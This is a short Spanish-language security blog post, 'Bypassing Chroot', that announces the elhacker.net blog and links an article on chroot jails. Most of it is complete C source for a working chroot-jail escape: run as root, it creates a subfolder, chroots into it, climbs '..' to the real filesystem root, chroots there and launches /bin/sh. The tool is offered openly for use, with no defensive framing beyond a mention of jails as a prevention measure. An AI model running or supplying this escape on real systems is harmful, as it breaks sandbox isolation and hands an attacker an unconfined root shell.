Bypassing Chroot
Con la excusa de llevar mucho tiempo sin escribir ninguna entrada, aprovecho para decir que ya se ha inaugurado el blog de elhacker.net (blog.elhacker.net).
La primera entrada, de la mano de Kamsky habla sobre jaulas chroot, y algunos métodos para saltarnos esta medida de prevención.
El artículo original: http://blog.elhacker.net/2010/03/jaulas-chroot.html
Aquí adjunto el código retocado para salir del chroot siendo root:
/*
Chema Garcia (a.k.a. sch3m4)
sch3m4@safetybits.net
http://safetybits.net
*/
#include <stdlib.h>
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <pwd.h>
#define FOLDER "chbrk"
#define PERM 0700
#define MAX_CHDIR 200
#define SHELL "/bin/sh"
int main()
{
int fd;
struct stat statf;
ino_t aux;
unsigned int cont;
struct passwd *owner;
char *directory;
if(getuid()!=0)
{
fprintf(stderr,"\nThis program cannot work without root privileges\n");
return -1;
}
fd=open(".",O_RDONLY);
mkdir(FOLDER,PERM);
chroot(FOLDER);
fchdir(fd);
close(fd);
aux=0;
cont=0;
while(!stat(".",&statf) && aux!=statf.st_ino && cont++ < MAX_CHDIR)
{
aux=statf.st_ino;
chdir("..");
}
if(aux==statf.st_ino)
{
chroot(".");
owner=getpwuid(statf.st_uid);
directory=getcwd(0,0);
fprintf(stderr,"\n+=[ Done! ]=+\n");
fprintf(stderr,"\n+ Directory: %s",directory);
fprintf(stderr,"\n+ Inode: %d",(int)statf.st_ino);
fprintf(stderr,"\n+ Owner: id=%d (%s) / gid=%d \n\n",owner->pw_uid,owner->pw_name,owner->pw_gid);
free(directory);
execl(SHELL,(char*)0,(char*)0);
}
return 0;
}
Y la url a pastebin: http://pastebin.com/su0wsDer
Artículos Relacionados
Categories: Ataques, C/C++, GNU/Linux, Programacion, Seguridad

Ultimos Comentarios